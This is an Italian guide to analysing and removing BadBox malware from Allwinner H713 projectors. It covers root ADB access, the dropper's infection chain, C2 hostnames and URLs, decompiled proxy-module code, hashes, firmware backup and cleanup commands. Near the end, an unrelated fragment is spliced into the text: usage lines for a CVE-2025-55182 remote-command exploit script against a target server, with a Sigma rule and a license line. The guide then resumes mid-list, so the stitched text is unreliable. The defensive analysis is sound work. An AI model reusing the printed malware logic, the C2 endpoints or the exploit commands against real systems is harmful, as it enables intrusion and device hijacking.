
Guida all'analisi e alla pulizia del malware BadBox sui proiettori Android Allwinner H713: accesso ADB, prova dell'infezione, backup del firmware, rimozione del dropper e verifica.
26 set 2026 · @R
Un proiettore Android economico (Wielo / Atongmu AT-M269, Allwinner H713) viene fornito con un dropper a livello di sistema che lo trasforma in un nodo proxy residenziale. Questo documento mostra come accedervi senza aprire il case, dimostrare l'infezione, eseguire il backup del firmware, rimuovere il malware e verificare il risultato.
Proiettore LCD senza marca venduto con marchi che cambiano. La scheda e il firmware sono condivisi tra molti proiettori H713 (cloni HY300 e altri), quindi tutto quanto segue si applica più ampiamente.
| Proprietà | Valore |
|---|---|
| Venduto come | Wielo Smart Projector, modello AT-M269 (FCC ID 2BAAR-AT-M269D) |
| Produttore | Shenzhen Atongmu Technology; firmware e app dall'OEM "ASHD" |
| Revisione hardware | persist.sys.cm.hardversion = AT-M269_720P_HP_202410221430 |
| SoC | Allwinner H713M (ro.boot.hardware = sun50iw12p1), quad Cortex-A53; scheda exdroid, piattaforma ares |
| RAM / storage | 1 GB DDR @ 576 MHz / 8 GB eMMC (7.818.182.656 byte) |
| Wi-Fi / Bluetooth | AIC8800 (aic8800d80, driver rwnx 6.4.3.0) |
| Kernel | Linux 5.4.99, 32-bit (armv7l), compilato l'8 dic 2025 |
| Build reale | h713m_tuna_p3-user 11 RP1A.201005.006 eng.work3.20251208.154308 release-keys, firmware H713M-android11-v1.0, host di build ishang-PC |
| OS | Android 11 (SDK 30), build user, patch di sicurezza 2022-02-05 |
| Mascheramento | Si dichiara come Google ADT-3 (brand/model/device, produttore askey); modello reale in ro.product.model2 = AT-M269 |
| Partizioni / boot | A/B virtuale, slot attivo _b, partizioni dinamiche (retrofit) in super; AVB 2.0, vbmeta.device_state = locked, verifiedbootstate vuoto; sblocco OEM non consentito; /system pieno al 100% |
| Sicurezza | ro.debuggable=1, ro.adb.secure=0, service.adb.root=1, ADB su tcp/5868, SELinux permissive, permessi privapp permissive, chiavi di test AOSP |
| Impostazioni predefinite regione | Fuso orario Asia/Shanghai, area DTV cn / DTMB |
adb shell getprop ro.product.model # ADT-3 <- spoofed, to pass Google certification adb shell getprop ro.product.model2 # AT-M269 <- real model adb shell getprop ro.board.platform # ares, H713 platform name adb shell getprop ro.build.type # user <- release build
## 2. Accesso
ADB è in ascolto sulla rete, su una porta non standard, senza richiesta di autorizzazione e con privilegi di root.```
# 1. Find open ports (projector on an isolated network)
nmap -p- 10.56.215.10
# 5868/tcp open <- nmap guesses "diameters"; it is actually adbd
# 2. Confirm from the device side (e.g. via Termux on the projector)
getprop service.adb.tcp.port # 5868
getprop ro.adb.secure # 0 -> no "allow debugging?" prompt
getprop init.svc.adbd # running
# 3. Connect from a computer
adb connect 10.56.215.10:5868
adb root
adb shell id # uid=0(root)
adb shell 'echo adb_keepalive > /sys/power/wake_lock' # keep CPU/Wi-Fi awake (needs root adbd) adb shell cat /sys/power/wake_lock # adb_keepalive must be listed adb shell input keyevent KEYCODE_SLEEP # display + lamp off, ADB stays connected
adb shell input keyevent KEYCODE_WAKEUP # lamp on adb shell 'echo adb_keepalive > /sys/power/wake_unlock' # release the wakelock
`/sys/class/backlight/tv` > `brightness`/`bl_power` non hanno alcun effetto.
## 3. Catena di infezione
Due app di sistema preinstallate vengono eseguite come utente system (UID 1000). Una scarica un loader, il loader scarica quattro moduli proxy e un secondo loader indipendente.```
Firmware (preinstalled, UID 1000)
├─ com.android.sysapp /system/priv-app/AshdSysApp
│ OTA updater, can replace the whole firmware (update.zip / payload.bin)
│ C2: wjtysj.ishanghd.com/hx_kt.php
│
└─ com.android.umanalytics.yiyou /system/app/AndroidAnalytics_yiyou
Dropper; Umeng + Baidu tracking
└─ downloads cache/plugin.jar (DEX, from *.ishanghd.com)
├─ app installer: pulls app lists per device profile, pm install -r
│ └─ installs Disney+ etc. and com.google.adtest (payload)
└─ "hs" task loader, C2 api.loritor.cc / api.nizero.cc, every 6 h
└─ 4 encrypted modules code_cache/.hs/.file/.rf/*.rf
SKN0041 com.ad.proxy SKN0054 com.szns.sdk
SKN0058 com.link.core SKN0061 ddth2 (VpsSdk)
-> all four: residential proxy clients
com.google.adtest (/data/app, installed by yiyou)
Second loader "com.speed", own C2 (api.logobi.cc, api.pechlo.cc, ...)
Native plugin loader, may install/delete packages -> backup channel
> il traffico internet di estranei instradato attraverso la tua connessione, e il tuo dispositivo viene tracciato (seriale, MAC, SSID/BSSID Wi-Fi).
adb shell "netstat -tnp | grep ESTABLISHED"
### **b) Chi ha installato cosa**```bash
adb shell pm list packages -i | grep -v 'installer=null\|com.android.vending'
# package:com.google.adtest installer=com.android.umanalytics.yiyou <- payload
# package:com.disney.disneyplus installer=com.android.umanalytics.yiyou <- cover
# -> a system "analytics" app installing packages = dropper
adb shell dumpsys package com.google.adtest | grep -E 'codePath|firstInstallTime'
# fake Google name, lives in /data/app, installed silently
adb shell 'ls -laR /data/data/com.android.umanalytics.yiyou' | grep -E 'plugin.jar|.rf|files/apps'
### **d) Configurazione a livello di sistema**```bash
adb shell getprop ro.product.model
# ADT-3 (spoofed)
adb shell dumpsys package com.android.sysapp | grep sharedUser
# android.uid.system -> runs with system privileges
adb shell dumpsys package com.android.sysapp | grep -E 'INSTALL_PACKAGES|RECOVERY|MASTER_CLEAR'
# unnamed OEM app that may install apps, flash firmware and wipe the device
adb shell cat /system/etc/init/qw.rc
# service qw /system/bin/qw --daemon user root
Il malware è integrato direttamente nel firmware. La data di build è eng.work3.20251208.154308, il kernel è stato compilato Mon Dec 8 15:27:38 CST 2025. I registri di yiyou mostrano che era in esecuzione lo stesso giorno:```
session_recent_visit: [{"day":20251208,"count":1}, {"day":20260910,...}, ...]
1765179258896 -> 2025-12-08 07:34 UTC = 15:34 CST, ~7 min after the kernel build
### **f) Malware nell'immagine di sistema firmata dal fornitore e in sola lettura**
Un utente o un'app successiva non può inserire file in `/system`. Fa parte di `super`, protetto da dm-verity e firmato tramite `vbmeta`.
## 5. Panoramica dell'architettura del malware
### 5.1. Componenti principali
| Componente | Posizione | Cosa fa |
| --------------------------------- | ---------------------------- | --------------------------------------------------------------------------------------------------------------- |
| `com.android.umanalytics.yiyou` | `/system/app`, UID 1000 | Scarica ed esegue `plugin.jar`; invia seriale, MAC, android_id, Wi-Fi SSID/BSSID, MAC Bluetooth a Umeng/Baidu |
| `plugin.jar` (DEX) | `cache/` di yiyou | Due parti: installer di app (liste di app per dispositivo, oltre 40 profili per H713/RK3326/HY300) e il loader di attività "hs" |
| Loader di attività "hs" | all'interno di `plugin.jar` | Interroga il C2 ogni 6 h per attività di tipo `jar`, `dex` o `apk`; scarica, verifica l'MD5, esegue |
| SKN0041 `com.ad.proxy` | modulo `.rf` | Tunnelling TCP/UDP/ICMP, heartbeat, sign-in/report |
| SKN0054 `com.szns.sdk` | modulo `.rf` | Nodo proxy più scansione UDP dalla tua rete |
| SKN0058 `com.link.core` | modulo `.rf` | Client proxy con i propri resolver DNS |
| SKN0061 `ddth2` / VpsSdk | modulo `.rf` | Gateway proxy, molte istanze client parallele |
| `com.google.adtest` ("com.speed") | `/data/app` | Secondo loader con loader di plugin nativo; installa/elimina pacchetti; si riavvia all'avvio, su eventi di rete, HDMI, alimentazione |
| `com.android.sysapp` | `/system/priv-app`, UID 1000 | Aggiornamento OTA: può scaricare e flashare un'immagine firmware completa |
| File Widevine | `/data/mediadrm/IDM1013/L3/` | `plugin.jar` rilascia un bundle di chiavi/licenze DRM così le app di streaming funzionano sul dispositivo non certificato |
### 5.2. Come i componenti rimangono nascosti```
# C2 hostnames are not in plain text: gzip + Base64 + AES-CFB with a hardcoded key.
# decrypted: api.loritor.cc (master), api.nizero.cc (slave)
# DNS is resolved via DNS-over-HTTPS (dns.google, cloudflare-dns.com, doh.pub, 223.5.5.5)
# -> router DNS blocking alone misses it
# .rf module layout (per file):
# [version][...][salt:32 bytes][invocation: AES][module: AES][DSA signature]
# invocation = {"cn":"com.hotota.p.d.MainApi","m_init":"start_W00xx","m_uninit":"stop"}
# module = an APK whose classes.dex is loaded with DexClassLoader
# Modules are signed, so only the operator can push new ones.
shared_prefs/info.xml wifiinfo: ssid, bssid, device MAC, IP; blueinfo: BT MAC; accelerometer samples shared_prefs/umeng_*.xml appkey 61c17582e014255fcbc1a9af, channel ashd-analytics umeng_general_config.xml first_activate_time = 2 Mar 2026, successful_request = 218 hs.prefs_1.xml periods=21600 (6 h), last.trackerid = SKN0061
### 5.4. Movimento laterale
**Nessun movimento laterale automatico, ma una porta d'accesso verso la LAN**
> Ma **SKN0041** e **SKN0058** inoltrano verso qualsiasi destinazione indicata dal gateway, e SKN0041 può anche eseguire il ping su comando. Chiunque noleggi il proxy può raggiungere o sondare la LAN manualmente.
- `plugin.jar`
- moduli `.rf` decifrati SKN0041/54/58/61
- `com.google.adtest`, yiyou, sysapp
- `com.android.nfx` (NFXAccessibility)
- nativi: `qw`, `systemmixservice`, `libsystemmix_jni.so`, `libsystemmixservice.so````bash
grep -rlE 'ServerSocket|DatagramSocket|MulticastSocket|NetworkInterface|getDhcpInfo|/proc/net/arp|239\.255\.255\.250|224\.0\.0\.251|:5555|telnet|isReachable|NsdManager|JmDNS|UPnP|Cling|SSDP|WifiP2pManager|getBroadcast|broadcastAddress|SubnetMask|prefixLength|getLinkAddresses|InterfaceAddress' analysis/decompiled/*/sources
grep -rlE 'Runtime\.getRuntime\(\)\.exec|ProcessBuilder' analysis/decompiled/*/sources
|| str.matches("^192\\.168\\..*") || str.matches("^127\\..*")
// no 169.254.0.0/16 clause and no IPv6 form here, a link-local or IPv6 LAN target slips through
// SKN0061 ddth2/hidden/F.java - InetAddress's own range checks, covers link-local and IPv6 too !a.isAnyLocalAddress() && !a.isLoopbackAddress() && !a.isLinkLocalAddress() && !a.isSiteLocalAddress() && !a.isMulticastAddress()
// SKN0041 com/ad/proxy/b/Q.java - "url init" command: fetches any URL, no check InetAddress byName = InetAddress.getByName(host); createSocket.connect(new InetSocketAddress(byName, port), 10000);
// SKN0058 com/link/core/a/e.java - connects to the server-supplied address, no check this.c.connect(new InetSocketAddress(inetAddress, this.d));
Il set completo di comandi di SKN0041, dalla tabella di dispatch in `com/ad/proxy/b/a0.java`:
| Opcode | Handler | Fa |
| ------ | ---------- | ---------------------------------------------------------------------------------- |
| 1 / 2 | U / V | richiesta / risposta heartbeat |
| 3 | W | apre una connessione TCP raw verso un host:porta fornito dall'operatore, nessun controllo dell'indirizzo |
| 5 / 7 | X / Y | invio / chiusura tcp su una transazione aperta |
| 8 | Z | apre una sessione UDP raw verso un host:porta fornito dall'operatore, nessun controllo dell'indirizzo |
| 11 | K | chiusura udp |
| 12 | L → P.java | esegue `ping -c 10 <host>` su un host fornito dall'operatore, ritrasmette l'output completo |
| 14 | M → Q.java | recupera un URL fornito dall'operatore, nessun controllo |
Nessuno di questi opcode filtra per intervallo IP.
Il server di re-streaming video `plugin.jar` (`com.cloudmedia.tv.server.d`, un fork di NanoHTTPD che serve riscritture di stream Aiqiyi/Youku/CIBN) si associa senza host impostato, ovvero tutte le interfacce, raggiungibile dalla LAN, non solo localhost, se si avvia. Il suo unico punto di ingresso è `ParserUtils.AnalyticsHelper()`, dietro `getprop ro.board.platform == "rk3188"`. Questa unità riporta `ares` (H713), quindi il gate resta chiuso.
Stato del dispositivo live: `netstat -tnp` mostra solo screen-cast su loopback (`com.android.toofifi` su `127.0.0.1:5354`), GMS verso Google su IPv6, e la sessione ADB. Nessun processo `yiyou`, `sysapp`, `speed`, `umanalytics` o `adtest` in esecuzione.
L'interfaccia Binder di `systemmixservice` (lettura/scrittura/cancellazione arbitraria di file e property-set come root, raggiungibile da qualsiasi app sul dispositivo) è una privilege-escalation locale. Rimuovere il dropper e non installare APK non attendibili la chiude.
## 6. Indicatori
Gli indicatori di rete (domini, URL, IP) sono nella [sezione 11](#11-consolidated-hosturl-list-for-abuse-reports).
### 6.1. Pacchetti
| Pacchetto | Posizione | Ruolo |
| --------------------------------------------------------------- | ------------------------------------------------------- | ---------------------------------------------------------------- |
| `com.android.umanalytics.yiyou` | `/system/app/AndroidAnalytics_yiyou`, UID 1000 (system) | dropper |
| `com.android.sysapp` (AshdSysApp) | `/system/priv-app/AshdSysApp`, UID 1000 (system) | backdoor del canale OTA |
| `com.google.adtest` (nome reale `com.fotas.wanapp`, "com.speed") | `/data/app` | secondo loader |
| `com.cloudmedia.testapk` | `/system/app` | app di test di fabbrica OEM, rimossa insieme al dropper nella sezione 8 |
| `com.disney.disneyplus` | `/data/app` | app di copertura installata dal dropper |
| `com.android.nfx` | `/system/priv-app/NFXAccessibility` | mantenuta, innocua (helper per telecomando Netflix) |
### 6.2.Binari
| Binario | Servizio init | Cosa fa |
| ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `/system/bin/qw` | **`qw`**: `class core`, `user root`, in esecuzione permanente dal boot | Daemon su Superuser/ClockworkMod (apre i socket `/dev/com.koushikdutta.superuser` + `.daemon`). |
| `/system/bin/appsdisable` | **`appsdisable`**: attivato `on property:sys.boot_completed=1`, `disabled`+`oneshot` | Dopo 4 s di sleep al boot (`settings ... global start_disable`), trova ogni pacchetto installato con un receiver `BOOT_COMPLETED` il cui componente inizia con `com.google.android` e lo `pm disable` per uccidere i controlli di boot di Google come la scansione di Play Protect e i servizi core di GMS. |
| `/system/bin/gmsopt` | **`gmsopt`**: stesso trigger e flag di appsdisable | Stesso comportamento di disabilitazione dei receiver di boot di Google di appsdisable ma escludendo `com.google.android.permissioncontroller`. Ridondante. |
| `/system/bin/systemmixservice` (+ `libsystemmix_jni.so`, `libsystemmixservice.so`) | **`systemmix`**: `class main`, `user root`, `oneshot` | Nativo OEM? Scopo non del tutto determinato ma è nel gruppo root. |
### 6.3. File e directory
| Percorso | Cosa |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------- |
| `/data/data/com.android.umanalytics.yiyou/cache/plugin.jar` | loader "hs" / DEX di installazione app scaricato |
| `/data/data/com.android.umanalytics.yiyou/code_cache/.hs/.file/.rf/*.rf` | moduli proxy cifrati (SKN0041/54/58/61) |
| `/data/data/com.android.umanalytics.yiyou/files/apps/com.google.adtest.apk` | copia del payload memorizzata per reinstallazione silenziosa |
| `/data/data/com.android.umanalytics.yiyou/files/libcuid.so` | libreria nativa helper per l'ID del dispositivo |
| `/data/data/com.android.umanalytics.yiyou/databases/ua.db` | DB delle sessioni Umeng |
| `/data/data/com.android.umanalytics.yiyou/shared_prefs/{info.xml, umeng_*.xml, hs.prefs_1.xml, hs.cuid.v1.xml, vps_sdk_prefs.xml, Plugin.xml, baidu_mtj_sdk_record.xml, ...}` | preferenze di tracciamento/configurazione |
| `/data/data/com.android.sysapp/shared_prefs/SHARE.xml` | preferenze dello stato di download OTA |
| `/data/mediadrm/IDM1013/L3/` | bundle DRM Widevine L3 rilasciato |
| `/data/local/tmp/*`, `/data/ota_package/tmp/*` | spazio temporaneo/avanzato usato dal loader e dal client OTA |
### 6.4. Hash dei campioni
| Campione | SHA-256 |
| ------------------------------- | ------------------------------------------------------------------ |
| `plugin.jar` | `e2e5f86df18e0cdef9595bd886280f158001250f1565fa3e6dfe492b114be6f7` |
| SKN0041 (decifrato) | `d7b26e53ade1cfcd283bfbbc5de7f792e8f8d441d74162eeef7e8a7c83ed5dba` |
| SKN0054 (decifrato) | `ba3b320791b80dae25d07e17e43d4b11b5c5a0d8b989fdb4a7f47ccb39201307` |
| SKN0058 (decifrato) | `60ade80fcd0a1c5bb3f62e76cd056b0e8034fdbe1e9834c335c0e60d99d12742` |
| SKN0061 (decifrato) | `fcffed775c6d6967bd40e4fa5b529f9fd301b3ebd64a555c756943d1e863fea7` |
| `com.google.adtest.apk` | `1298662eb6d087aa1e6f967d50581e998b5897ec1563bdf96589540845874110` |
| `AndroidAnalytics_yiyou.apk` | `c4910d6fa666eff03bdc683423f7f2585cb263f8dcbf5f1fe7a1e2643eb384aa` |
| `AshdSysApp.apk` | `f9cd44d359c9b0c92ddb8b868665a3e8edd54a19cc21a35fb2fba7dbdf36bb5a` |
| `L3.zip` (bundle Widevine) | `8367725743c27ed1fd49d5eb086e7b260cfcf38a825a8892ce31b45e767e228f` |
| `favorite.ico` (config SKN0054) | `8d64d2982f8f5cb01ad1bbce53861e09eae2884fe8c545ac9023b636c8f5ffa2` |
## 7. Backup
Nessun firmware per questo modello sembra essere pubblicato, e anche il server OTA del produttore reverse engineered non restituisce nulla.```
# Simple one-shot dump (fine over USB; over Wi-Fi it can stall)
adb exec-out "dd if=/dev/block/mmcblk0 bs=4M 2>/dev/null" > mmcblk0.img
adb shell 'ls /dev/block/mmcblk0boot*' # eMMC boot areas, dump them too if present
Tramite Wi-Fi, usa gli script di supporto
dump-pull.sh [ip:port|usb] [file] estrae a blocchi da 256 MB con un controllo di dimensione e tentativi ripetuti. Rieseguendolo, riprende dall'ultimo blocco completo. Prima della lettura, rimonta /data con background_gc=off,nodiscard, esegue il sync e attende 10 s. Tramite USB esegue anche adb shell stop. Entrambe le operazioni vengono annullate all'uscita (rimontaggio con background_gc=on,discard, start). UDISK è /data e rimane attivo, quindi il suo hash può ancora variare da un'esecuzione all'altra.dump-verify.sh [ip:port|usb] [file] [-y] controlla la dimensione, le intestazioni GPT, le aree di boot e ogni partizione (SHA-256 del dispositivo vs. lo stesso intervallo di byte nell'immagine). Legge e corregge qualsiasi sezione non corrispondente. In caso di esito positivo, scrive mmcblk0.img.sha256.```p=$(adb shell readlink /dev/block/by-name/super | xargs basename) # e.g. mmcblk0p9 s=$(adb shell cat /sys/block/mmcblk0/$p/start) # start sector (512 B) z=$(adb shell cat /sys/block/mmcblk0/$p/size) # size in sectors adb shell sha256sum /dev/block/by-name/super # hash on the device tail -c +$((s512+1)) mmcblk0.img | head -c $((z512)) | shasum -a 256 # same range in the image
### Ripristino del percorso
Entra in Allwinner FEL, poi esegui il flash con PhoenixUSBPro tramite un cavo USB-A a USB-A.
Non esiste un pinhole esterno per avviarsi in FEL: `adb reboot efex` o `fastboot oem efex`.
Possibile fallback hardware: il pad FEL sulla scheda, visibile nelle foto interne FCC (richiede l'apertura della custodia). Il flashing richiede un `update.img` IMAGEWTY, creato dal tuo dump con `awimg.py` ([well0nez/magcubic-root](https://github.com/well0nez/magcubic-root)) e un template H713.
FEL è solo scrittura. PhoenixSuit e PhoenixUSBPro non possono rileggere la eMMC, e `sunxi-fel` non ha un layout SRAM per l'H713, funzionano solo i comandi di sola lettura ([sunxi-tools #226](https://github.com/linux-sunxi/sunxi-tools/issues/226)).
Il dump ADB sopra rimane il metodo di backup.
### **Modalità di avvio**
L'unità è A/B (`ro.build.ab_update=true`) con slot `_b` attivo. Non esiste una partizione `recovery`: il recovery risiede nel ramdisk di boot. La console seriale U-Boot è `ttyS0` a 115200 baud.
| Modalità | Come entrarci | Livello | Stato |
| --------------- | ------------------------------------------------------------------------------------------------------------ | --------------------- | ------------------------------------------------------------------------------------------- |
| Android | accensione normale, `adb reboot` | kernel | funziona |
| Recovery | `adb reboot recovery` | ramdisk di boot | funziona, menu sotto |
| fastbootd | menu recovery: Enter fastboot | userspace in recovery | entra |
| U-Boot fastboot | menu recovery: Reboot to bootloader, o `adb reboot bootloader` | U-Boot | funziona (macOS necessita della correzione sotto) |
| U-Boot efex | `fastboot oem efex` da U-Boot fastboot, o `adb reboot efex` (U-Boot ha anche un trigger remoto `ir-efex`) | U-Boot | funziona via `fastboot oem efex` e via `adb reboot efex`: `1f3a:efe8`, l'handshake FEL risponde |
| BootROM FEL | pad di test FEL | SoC BootROM | non testato |
### **Menu recovery:**
- Reboot system now
- Reboot to bootloader
- Enter fastboot
- Apply update from ADB
- Apply update from SD card
- Wipe data/factory reset
- Mount /system
- View recovery logs
- Run graphics test
- Run locale test
- Enter rescue
- Power off
### **ADB su USB**
la presa che accetta USB0 (`ohci0`) funziona come host per impostazione predefinita. Passa in modalità device fino al riavvio successivo con:```
adb shell cat /sys/devices/platform/soc@2900000/soc@2900000:usbc0@0/usb_device
adb -d shell id
U-Boot fastboot non rilevato
il gadget appare come 1f3a:1010 ("USB Developer"), e la sua interfaccia è il fastboot standard ff/42/03. La sua classe di dispositivo è però ff, quindi il sistema operativo (macOS in questo caso) sembra non configurare una configurazione e fastboot devices rimane vuoto.
Se questo accade, la soluzione è impostare la configurazione una volta con pyusb, poi usare fastboot normalmente:```
brew install libusb python3 -m venv ~/venvs/fastboot source ~/venvs/fastboot/bin/activate pip install pyusb
source ~/venvs/fastboot/bin/activate python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0x1010).set_configuration()' fastboot devices
### **FEL/efex**
Dal fastboot di U-Boot, `fastboot oem efex` passa al gadget efex `1f3a:efe8`. (Potrebbe necessitare della stessa correzione `set_configuration()`)
**Sunxi-tools build dai sorgenti**```
# one-time: build sunxi-fel
brew install libusb dtc pkg-config
git clone https://github.com/linux-sunxi/sunxi-tools
cd sunxi-tools && make sunxi-fel
sudo cp sunxi-fel /usr/local/bin/ # optional, else call ./sunxi-fel
# enter efex and check the handshake (read-only)
fastboot oem efex
source ~/venvs/fastboot/bin/activate
python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0xefe8).set_configuration()'
sunxi-fel --list --verbose
sunxi-fel version
AWUSBFEX soc=00001860(unknown) 00000001 ver=0001 44 08 scratchpad=00121500 00000000 00000000.
Usa solo version e --list, mai spl, uboot, write o exe poiché gli strumenti sunxi non conoscono il chipset.
Per uscire da FEL, scollega prima l'USB, poi spegni finché il led blu sul proiettore non si spegne. wdreset non funziona senza i dati del SoC.
mkdir -p evidence && cd evidence adb shell getprop > getprop.txt adb shell pm list packages -f -i -U > packages.txt adb shell "netstat -tnp" > netstat.txt adb shell 'ls /system/etc/init /vendor/etc/init' > init-files.txt
adb pull /system/app/AndroidAnalytics_yiyou adb pull /system/priv-app/AshdSysApp adb pull "$(adb shell pm path com.google.adtest | cut -d: -f2)" adtest.apk
adb exec-out 'tar -cf - /data/data/com.android.umanalytics.yiyou /data/data/com.android.sysapp' > appdata.tar tar -tvf appdata.tar | grep -E '.jar|.rf|.apk|.xml' # check nothing is missing find . -type f -exec shasum -a 256 {} + > ../SHA256SUMS
### 8.2. Rimozione```
# System apps (UID 1000): cannot be deleted from /system without a firmware rebuild.
# Stop, disable, wipe data for user 0 -> inert for the running system, survives reboots.
for p in com.android.umanalytics.yiyou com.android.sysapp com.cloudmedia.testapk; do
adb shell am force-stop $p
adb shell pm disable-user --user 0 $p
adb shell pm clear $p
done
adb shell pm uninstall com.google.adtest
# I removed this too for safety
adb shell pm uninstall com.disney.disneyplus
# Leftovers
adb shell 'rm -rf /data/local/tmp/* /data/ota_package/tmp/*'
adb reboot
Mantenuti, probabilmente innocui:
qw (demone su, rimovibile solo modificando /system, raggiungibile solo localmente)appsdisable, gmsopt, systemmixservicecom.android.nfx (helper per il telecomando Netflix)Controllo anti-manomissione
La disinstallazione di yiyou rompe le Impostazioni. Il metodo checkSHA1() di com.ashd.settings ha due controlli:
CD:B1:B7:56:85:FE:16:C2:7E:4C:45:59:54:43:AC:B0:1F:68:40:91, 60:35:FD:9E:68:E9:20:C2:B5:B0:7C:F2:B5:10:F2:83:47:06:DE:15, 6E:40:BA:7F:F7:90:7D:40:C2:F1:6D:12:E4:63:E5:E4:A3:F1:5A:01, 27:19:6E:38:6B:87:5E:76:AD:F7:00:E7:EA:84:E4:C6:EE:E3:3D:FA, F6:08:8C:ED:B9:9A:EC:82:A7:7D:F3:F9:01:97:06:BE:C0:65:E4:9A)com.android.umanalytics.yiyou, (o com.android.umanalytics.kege, probabilmente il nome del dropper su altre build del firmware), è registrato per l'utente 0.Entrambi i percorsi di errore registrano 签名校验失败,关闭应用 ("verifica della firma fallita, chiusura dell'app"). Disinstallare completamente yiyou (invece di disabilitarlo soltanto, come sopra) attiva questo controllo. adb shell pm install-existing com.android.umanalytics.yiyou ripristina la registrazione senza riabilitarlo.
adb connect 10.56.215.10:5868
adb shell pm list packages | grep -iE 'yiyou|sysapp|adtest|speed|testapk' # expect: nothing adb shell ps -A | grep -iE 'yiyou|sysapp|speed|umanalytics' # expect: nothing adb shell 'ls /data/data/com.android.umanalytics.yiyou 2>&1' # expect: No such file adb shell "netstat -tnp | grep ESTABLISHED"
adb shell pm list packages -3 -i # new apps? check their installer
**Risultati su questa unità dopo la pulizia e il riavvio:**```
adb shell "netstat -tnp"
# tcp 127.0.0.1:52992 127.0.0.1:5354 ESTABLISHED 3351/com.android.toofifi <- local screen-cast service
# tcp 127.0.0.1:52994 127.0.0.1:5354 ESTABLISHED 3351/com.android.toofifi
# tcp6 10.56.215.10:5868 <your computer> ESTABLISHED 5332/adbd <- your ADB session
# -> no outbound connections left (before: ~25 from yiyou)
Ripeti il controllo netstat dopo 24 ore (il loader effettua il check-in ogni 6 ore) e cerca le corrispondenze nella blocklist dall'IP del proiettore nei tuoi log DNS e del firewall.
/system in lettura-scrittura per eliminare gli APK non è consigliato: vbmeta è bloccato, /system è pieno al 100%, quindi adb disable-verity + adb remount creerebbe un overlay in /data (perso al ripristino di fabbrica, come pm uninstall --user 0) con il rischio di un fallimento del boot.super nel tuo dump e flasharlo tramite FEL. Non testato.```
adb shell getprop ro.boot.vbmeta.device_state # locked
adb shell getprop ro.boot.verifiedbootstate # (empty)
adb shell df -h /system # 1.1G 1.1G 3.4M 100%### 8.5. Bloatware```
adb shell pm disable-user --user 0 com.android.toofifi
adb shell pm disable-user --user 0 com.toofifi.lineserver
adb shell pm disable-user --user 0 com.toofifi.miracast
adb shell pm disable-user --user 0 com.mphotool.usbcastserver
adb shell pm disable-user --user 0 com.rockchip.devicetest
Ripristina con pm enable --user 0 <package>
com.android.toofifi: servizio di screencast principale. Perdi il mirroring dello schermo (casting in stile Miracast/AirPlay) da telefoni e laptop.com.toofifi.lineserver: server di visualizzazione cablato/USB per lo stesso stack, contatta server.mphotool.com:8680 per i controlli di licenza. Perdi la modalità di visualizzazione cablata.com.toofifi.miracast: ricevitore Miracast wireless, chiama server.mphotool.com:8680/MPAPI/System/CheckUpdate e carica i log di utilizzo su mphotool.com/FeituAppLogMgr. Perdi il casting wireless.com.mphotool.usbcastserver: server di cast USB, stesso fornitore. Perdi il supporto al cast USB dal dispositivo.com.rockchip.devicetest: Nessun motivo per essere su un'unità Allwinner.Analisi statica. I sorgenti decompilati grezzi, i moduli .rf decifrati e gli script utilizzati sono conservati in analysis/ (decompiled/, decrypted_modules/, tools/).
com.android.sysapp
Le classi decompilate a.a.b.m/a.a.b.n forniscono la richiesta OTA esatta e letterale:```
POST http://wjtysj.ishanghd.com/hx_kt.php?act=project&do=getPackageInfo
&productid=<ro.android.productid, default "74865231">
&device_mode=<persist.sys.cm.dtsmodel, e.g. "AT-M269">
&devices_version=<ro.build.version.incremental>
&update_type=1|2 # 1 auto check, 2 forced ("check for update" button)
via Apache `HttpPost` con corpo del form vuoto. Tutto è nella query string, quindi GET e POST sono equivalenti e non c'è firma/token. Riprodotto dal vivo (2026‑09‑26): `{"code":200,"data":[]}`, sembra non avere alcun pacchetto per questo productid, a qualsiasi versione provata.
### 9.2 Dropper
`com.android.umanalytics.yiyou`
**Self-update** (`http.utils.UpdateUtils.checkUpdate`)
`GET http://ty.ishanghd.com/work/app/wj/factory/update.json` fornisce `DownLoadURL` con `MD5` e `VersionCode` che viene scaricato, verificato tramite MD5, `PkgUtils.install(path, 1)` e si auto-sostituisce silenziosamente.
**Recupero di `plugin.jar`** (`MyService`)
`GET http://isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json` fornisce `plugin.jar` che viene scaricato in `<cache>/plugin.jar` caricato con `DexClassLoader`. `com.anlytics.plug.ParserUtils.AnalyticsHelper("test")` è il punto di ingresso.
**Profilo della lista di app per dispositivo**
Queste sono le app personalizzate per ciascun dispositivo nella campagna (probabilmente modificate per aggirare il DRM?)
`com.anlytics.plug.b` identifica la scheda (`ro.board.platform`, `persist.sys.cm.dtsmodel`, `ro.sys.cputype`, `ro.build.version.release`, pacchetti installati, file come `/system/etc/voice.tar.gz`) confrontandola con 40 profili hardcoded e seleziona l'URL `appsinfo/.../infos*.json` adatto dalle costanti in `com.tools.a`.
Questa unità include `com.ashd.launcher10` e riporta `persist.sys.cm.dtsmodel=AT-M269` / scheda `ares` e l'unico profilo H713 "launcher10" nella tabella è:```
http://ty.ishanghd.com/work/app/wj/appsinfo/H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json
python3 CVE-2025-55182.py -u <URL> -c <COMMAND>
# Esegui il comando 'id' su un server vulnerabile
python3 CVE-2025-55182.py -u http://target.com -c "id"
# Esegui un comando personalizzato
python3 CVE-2025-55182.py -u http://target.com -c "whoami"
# Specifica un percorso personalizzato
python3 CVE-2025-55182.py -u http://target.com -c "ls -la" -p /app
Next-Action$ACTION_ID_ o pattern similiNext-Action insoliti# Esempio di regola Sigma
title: Tentativo di Exploit CVE-2025-55182 React Server Components
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- 'Next-Action'
condition: selection
Questo strumento è fornito solo a scopo educativo e di ricerca sulla sicurezza. Gli autori non sono responsabili per qualsiasi uso improprio o danno causato da questo software. Utilizza solo su sistemi di tua proprietà o per cui hai un'autorizzazione esplicita a testare.
Questo progetto è concesso in licenza sotto la Licenza MIT - consulta il file LICENSE per i dettagli.
**Elenco completo di 40 URL di profilo**
Ciascuno è probabilmente una famiglia di dispositivi vittima sotto la stessa campagna:```
infos.json
TEST/infos.json
infos_qp.json
infos_lm.json
infos_wy.json
infos_wy_fj600.json
infos_set.json
infos_ydd3128.json
WANYING_test/infos.json
